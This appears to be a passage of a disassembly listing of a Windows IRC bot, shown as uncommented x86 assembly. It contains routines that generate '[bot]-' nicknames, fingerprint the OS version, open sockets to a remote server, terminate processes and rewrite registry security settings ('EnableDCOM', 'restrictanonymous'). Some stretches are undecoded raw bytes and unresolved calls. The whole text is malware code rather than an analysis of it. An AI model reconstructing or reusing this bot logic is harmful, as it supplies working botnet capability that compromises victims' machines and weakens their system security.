		push	offset unk_4387C8


loc_4153C7:				; CODE XREF: sub_41533B+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4153FA
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40D679
		add	esp, 14h


loc_4153FA:				; CODE XREF: sub_41533B+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_14]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 25E02EAh
		nop
		pop	edi
		pop	esi
sub_41533B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415419	proc near		; CODE XREF: sub_40EE72+4B0Ap
					; sub_416E97+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 2700537h
		mov	esi, eax
		test	esi, esi
		jz	short loc_41544B
		push	0
		push	esi
		nop
		call	near ptr 27B0BD0h
		test	eax, eax
		jnz	short loc_41544B
		push	esi
		xor	edi, edi
		nop
		call	near ptr 2611A31h


loc_41544B:				; CODE XREF: sub_415419+1Aj
					; sub_415419+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_415419	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415450	proc near		; CODE XREF: sub_4030D1+Ap
					; ___:0040369Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_41730C
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4246A0
		call	sub_417DC4
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_415450	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_4450CC[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_43F650
		test	eax, eax
		jnz	short loc_415504
		push	dword ptr [esi]
		call	dword_43F700
		push	dword ptr [ebp+8]
		call	sub_417078
		pop	ecx
		push	edi
		nop
		call	near ptr 25E02EAh


loc_415504:				; CODE XREF: ___:004154EAj
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_43F680
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_415685
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_415685
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_415685
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_43F5C4
		test	eax, eax
		jz	short loc_41557D
		call	dword_43F5FC
		push	eax
		push	offset dword_43892C
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_417078
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 25E02EAh


loc_41557D:				; CODE XREF: ___:00415558j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_43F620
		cmp	eax, edi
		jnz	short loc_4155A7
		push	dword ptr [ebp-18h]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_4172B0
		jmp	short loc_4155B5
; ---------------------------------------------------------------------------


loc_4155A7:				; CODE XREF: ___:0041558Dj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_4179C0


loc_4155B5:				; CODE XREF: ___:004155A5j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_43C80C
		push	dword ptr [esi]
		call	dword_43F6B8
		cmp	dword_489DDC, edi
		jnz	short loc_415617
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_4156DF
		add	esp, 10h
		test	eax, eax
		jnz	short loc_415617
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_43F6B8
		push	dword ptr [esi]
		call	dword_43F700
		push	dword ptr [ebp+8]
		call	sub_417078
		pop	ecx
		push	edi
		call	near ptr 25E02EAh
		nop


loc_415617:				; CODE XREF: ___:004155CCj
					; ___:004155EDj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset dword_4388E0
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_4165C6
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41565E
		nop
		call	near ptr 2630313h
		push	eax
		push	offset dword_4388A4
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_417078
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 25E02EAh


loc_41565E:				; CODE XREF: ___:00415639j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset dword_43886C
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_417078
		add	esp, 10h
		push	edi
		nop
		call	near ptr 25E02EAh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415685	proc near		; CODE XREF: ___:0041551Ap
					; ___:00415527p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_43F680
		cmp	eax, 1
		jnz	short loc_4156D5
		mov	esi, [ebp+arg_4]


loc_4156A3:				; CODE XREF: sub_415685+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_4156CA
		test	al, al
		jz	short loc_4156D9
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_43F680
		cmp	eax, 1
		jz	short loc_4156A3
		jmp	short loc_4156D5
; ---------------------------------------------------------------------------


loc_4156CA:				; CODE XREF: sub_415685+27j
		push	offset dword_438968
		call	sub_40BFE1
		pop	ecx


loc_4156D5:				; CODE XREF: sub_415685+19j
					; sub_415685+43j
		xor	eax, eax
		jmp	short loc_4156DC
; ---------------------------------------------------------------------------


loc_4156D9:				; CODE XREF: sub_415685+2Bj
		push	1
		pop	eax


loc_4156DC:				; CODE XREF: sub_415685+52j
		pop	esi
		leave
		retn
sub_415685	endp


; =============== S U B	R O U T	I N E =======================================



sub_4156DF	proc near		; CODE XREF: ___:004155E3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41570A
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_4389A0
		call	sub_40BFE1
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41570A:				; CODE XREF: sub_4156DF+11j
		push	1
		pop	eax
		retn
sub_4156DF	endp

; ---------------------------------------------------------------------------
word_41570E	dw 8B55h		; DATA XREF: sub_40EE72+5623o
		dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah,	0ECBD8DF0h
		dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
		dd 2026850h, 15FF0000h,	43F5E0h, 0C63BF633h, 68501D74h
		dd 438B64h, 0FF688CE8h,	0B475FFFFh, 191BE8h, 0CC48300h
		dd 83E89057h, 57021CABh, 41598C68h, 0B53BE800h,	85900239h
		dd 902975C0h, 21AB96E8h, 14685002h, 0E800438Bh,	0FFFF6859h
		dd 15FF5959h, 43F5C8h, 0E8B475FFh, 18E0h, 4BE85759h, 90021CABh
		dd 8D106A53h, 5056E045h, 1B83E8h, 0CC48300h, 0E045C766h
		dd 75FF0002h, 6815FFB0h, 6A0043F6h, 26A5706h, 0E2458966h
		dd 0FFE47589h, 43F6E815h, 83D88B00h, 840FFFFBh,	13Bh, 6AB4458Bh
		dd 34C06910h, 89000002h, 4450CC98h, 0E0458D00h,	15FF5350h
		dd 43F694h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh, 43F690h
		dd 850FC085h, 103h, 438AC868h, 0F045C700h, 0Ch,	89F47589h
		dd 42E8F875h, 59FFFF67h, 8D087D89h, 45C7FC45h, 10FCh, 458D5000h
		dd 0FF5350CCh, 43F6FC15h, 83F88B00h, 840FFFFFh,	0CAh, 8D0875FFh
		dd 6A500845h, 0FFFF6808h, 0FF570000h, 43F64815h, 0FFF88300h
		dd 0B70FC574h, 75FFCE45h, 0C87589B4h, 0D075FF50h, 0F6F415FFh
		dd 8D500043h, 0FFFBEC85h, 8A7468FFh, 0E8500043h, 1A20h
		dd 0FBEC858Dh, 0E850FFFFh, 0FFFF66D1h, 0EC858D57h, 6AFFFFFBh
		dd 0B1E85006h, 89000014h, 0C069B845h, 234h, 83B44D8Bh
		dd 888924C4h, 4450C4h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh
		dd 41548068h, 0F0458D00h, 70E85056h, 900224B4h,	69B84D8Bh
		dd 234C9h, 89C63B00h, 4450D481h, 39137400h, 850FC875h
		dd 0FFFFFF37h, 3AE8326Ah, 90021DABh, 0E890EDEBh, 221AA0Bh
		dd 8A286850h, 0CEE80043h, 59FFFF66h, 8B03EB59h,	15FF087Dh
		dd 43F5FCh, 0EC858D50h,	68FFFFFBh, 4389E4h, 197EE850h
		dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh
		dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 22E8FFFFh, 83FFFF7Dh
		dd 858D14C4h, 0FFFFFBECh, 6607E850h, 5759FFFFh,	0F70015FFh
		dd 0FF530043h, 43F70015h, 0C815FF00h, 0FF0043F5h, 0F5E8B475h
		dd 59000016h, 5FE89056h, 5B021CA9h, 4439C033h, 940F0424h
		db 0C0h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_415996	proc near		; CODE XREF: sub_415D01+49p
					; DATA XREF: ___:off_438BB0o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 25E08E4h
		push	eax
		call	sub_417302
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	aBot ; "[bot]-"
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42F5C8, esi
		jle	short loc_4159EF


loc_4159C9:				; CODE XREF: sub_415996+57j
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_438C04
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_4159C9


loc_4159EF:				; CODE XREF: sub_415996+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_415996	endp


; =============== S U B	R O U T	I N E =======================================



sub_4159F4	proc near		; CODE XREF: sub_40EE72+3E81p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 25E08E4h
		push	eax
		call	sub_417302
		pop	ecx
		call	sub_41730C
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_42F5C8
		test	esi, esi
		jle	short loc_415A37


loc_415A21:				; CODE XREF: sub_4159F4+41j
		call	sub_41730C
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_415A21


loc_415A37:				; CODE XREF: sub_4159F4+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_4159F4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 25E08E4h
		push	eax
		call	sub_417302
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_438C0C
		push	eax
		push	esi
		call	near ptr 27A0000h
		nop
		movsx	eax, byte_438C0C
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_415A7D:				; CODE XREF: ___:00415A88j
		cmp	eax, ecx
		jnz	short loc_415A84
		mov	[ebp-4], edx


loc_415A84:				; CODE XREF: ___:00415A7Fj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_415A7D
		push	61h
		pop	ecx


loc_415A8D:				; CODE XREF: ___:00415A98j
		cmp	eax, ecx
		jnz	short loc_415A94
		mov	[ebp-4], edx


loc_415A94:				; CODE XREF: ___:00415A8Fj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_415A8D
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_42F5C8, esi
		jle	short loc_415AD9


loc_415AB3:				; CODE XREF: ___:00415AD7j
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_438C04
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_415AB3


loc_415AD9:				; CODE XREF: ___:00415AB1j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	near ptr 25E08E4h
		nop
		push	eax
		call	sub_417302
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	near ptr 27C0000h
		nop
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_438C10
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42F5C8, esi
		jle	short loc_415B4E


loc_415B28:				; CODE XREF: ___:00415B4Cj
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_438C04
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_415B28


loc_415B4E:				; CODE XREF: ___:00415B26j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43C80C
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 2771415h
		nop
		call	near ptr 25E08E4h
		push	eax
		call	sub_417302
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_415BD8
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_415BB8
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_415BA8
		mov	esi, offset a95	; "95"


loc_415BA8:				; CODE XREF: ___:00415BA1j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_415C14
		mov	esi, offset aNt	; "NT"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------


loc_415BB8:				; CODE XREF: ___:00415B98j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_415BC8
		mov	esi, offset a98	; "98"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------


loc_415BC8:				; CODE XREF: ___:00415BBFj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_415C0F
		mov	esi, offset aMe	; "ME"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------


loc_415BD8:				; CODE XREF: ___:00415B8Fj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_415C0F
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_415BF1
		mov	esi, offset a2k	; "2K"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------


loc_415BF1:				; CODE XREF: ___:00415BE8j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_415C01
		mov	esi, offset aXp	; "XP"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------


loc_415C01:				; CODE XREF: ___:00415BF8j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_438C1C
		jz	short loc_415C14


loc_415C0F:				; CODE XREF: ___:00415BCFj
					; ___:00415BDFj
		mov	esi, offset dword_42DDDC


loc_415C14:				; CODE XREF: ___:00415BAFj
					; ___:00415BB6j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_438C14
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42F5C8, esi
		jle	short loc_415C58


loc_415C32:				; CODE XREF: ___:00415C56j
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_438C04
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_415C32


loc_415C58:				; CODE XREF: ___:00415C30j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C5E	proc near		; CODE XREF: sub_415D01+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	near ptr 25E08E4h
		nop
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_415CAD
		call	dword_43F674
		test	eax, eax
		mov	eax, offset dword_438C28
		jnz	short loc_415C96
		mov	eax, offset byte_43C80C


loc_415C96:				; CODE XREF: sub_415C5E+31j
		push	eax
		push	esi
		push	offset dword_438C20
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	short loc_415CCD
; ---------------------------------------------------------------------------


loc_415CAD:				; CODE XREF: sub_415C5E+22j
		call	dword_43F674
		test	eax, eax
		mov	eax, offset dword_438C28
		jnz	short loc_415CC1
		mov	eax, offset byte_43C80C


loc_415CC1:				; CODE XREF: sub_415C5E+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_415CCD:				; CODE XREF: sub_415C5E+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_417AB0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_415CFC
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_418DE0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		add	esp, 18h


loc_415CFC:				; CODE XREF: sub_415C5E+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_415C5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D01	proc near		; CODE XREF: sub_40EB92+7Fp
					; sub_40ECFA+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_438BAC


loc_415D0D:				; CODE XREF: sub_415D01+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_415D28
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_4176D0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_415D32
; ---------------------------------------------------------------------------


loc_415D28:				; CODE XREF: sub_415D01+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_415D32:				; CODE XREF: sub_415D01+25j
		test	eax, eax
		jnz	short loc_415D44
		add	esi, 14h
		inc	edi
		cmp	esi, offset dword_438C10
		jb	short loc_415D0D
		jmp	short loc_415D52
; ---------------------------------------------------------------------------


loc_415D44:				; CODE XREF: sub_415D01+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_438BB0[eax*4]
		pop	ecx


loc_415D52:				; CODE XREF: sub_415D01+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_415D65
		push	[ebp+arg_0]
		call	sub_415C5E
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_415D65:				; CODE XREF: sub_415D01+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_415D01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D6A	proc near

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	dword_43F668
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_43F6E8
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_415E28
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43F610
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_4450CC[ecx], esi
		jz	short loc_415E28
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	dword_43F6F4
		push	eax
		mov	edi, offset dword_489DE4
		push	offset unk_438C2C
		push	edi
		call	sub_4172B0
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_40D679
		push	edi
		call	sub_40BF6D
		add	esp, 28h


loc_415E28:				; CODE XREF: sub_415D6A+5Dj
					; sub_415D6A+7Ej
		push	esi
		call	dword_43F700
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_415D6A	endp

; ---------------------------------------------------------------------------
byte_415E37	db 55h			; DATA XREF: sub_40EE72+35E2o
		dd 0EC81EC8Bh, 130h, 85D8B53h, 2A6A5756h, 8D59F38Bh, 0FFFF50BDh
		dd 8BA5F3FFh, 42406435h, 0A083C700h, 1000000h, 33000000h
		dd 0D475FFFFh, 0FFE075FFh, 43F6F415h, 858D5000h, 0FFFFFED0h
		dd 438C6468h, 2DE85000h, 8D000014h, 0FFFED085h,	1FF68FFh
		dd 8B500000h, 0C069DC45h, 234h,	444EC005h, 6DE85000h, 8300002Dh
		dd 458D1CC4h, 858D50F8h, 0FFFFFF50h, 6A685057h,	5700415Dh
		dd 0AE8DE857h, 3B900224h, 0FC4589C7h, 7D390B74h, 6A0675F4h
		dd 0EBD6FF32h, 0FC75FFF5h, 0BB57E890h, 0B3FF021Fh, 88h
		dd 0A4BB89h, 0D6FF0000h, 6AE0458Dh, 458D5004h, 99E85008h
		dd 83000014h, 75FF0CC4h, 9C15FF08h, 400043F5h, 8458950h
		dd 0F66415FFh, 45890043h, 8458D08h, 8D50046Ah, 0E850E045h
		dd 1470h, 0E90CC483h, 0FFFFFF3Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F28	proc near		; DATA XREF: sub_40EE72+5F4Fo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_415F6F
		call	sub_415F88
		jmp	short loc_415F74
; ---------------------------------------------------------------------------


loc_415F6F:				; CODE XREF: sub_415F28+3Ej
		call	sub_4162AC


loc_415F74:				; CODE XREF: sub_415F28+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_417078
		pop	ecx
		push	0
		nop
		call	near ptr 25E02EAh
sub_415F28	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F88	proc near		; CODE XREF: sub_415F28+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43F738, edi
		jnz	loc_4160BA
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43F6D8
		test	eax, eax
		jnz	short loc_416013
		mov	ax, word_439014
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43F68C
		test	eax, eax
		jz	short loc_415FF5
		push	offset unk_438FD4
		jmp	short loc_415FFA
; ---------------------------------------------------------------------------


loc_415FF5:				; CODE XREF: sub_415F88+64j
		push	offset dword_438FA8


loc_415FFA:				; CODE XREF: sub_415F88+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F644
		jmp	short loc_416026
; ---------------------------------------------------------------------------


loc_416013:				; CODE XREF: sub_415F88+36j
		lea	eax, [ebp+var_214]
		push	offset unk_438F68
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_416026:				; CODE XREF: sub_415F88+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_416045
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_416045:				; CODE XREF: sub_415F88+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43F6D8
		test	eax, eax
		jnz	short loc_4160B3
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_43F68C
		test	eax, eax
		jz	short loc_416095
		push	offset unk_438F08
		jmp	short loc_41609A
; ---------------------------------------------------------------------------


loc_416095:				; CODE XREF: sub_415F88+104j
		push	offset unk_438EC4


loc_41609A:				; CODE XREF: sub_415F88+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F644
		jmp	short loc_4160CD
; ---------------------------------------------------------------------------


loc_4160B3:				; CODE XREF: sub_415F88+E2j
		push	offset unk_438E78
		jmp	short loc_4160BF
; ---------------------------------------------------------------------------


loc_4160BA:				; CODE XREF: sub_415F88+13j
		push	offset unk_438E38


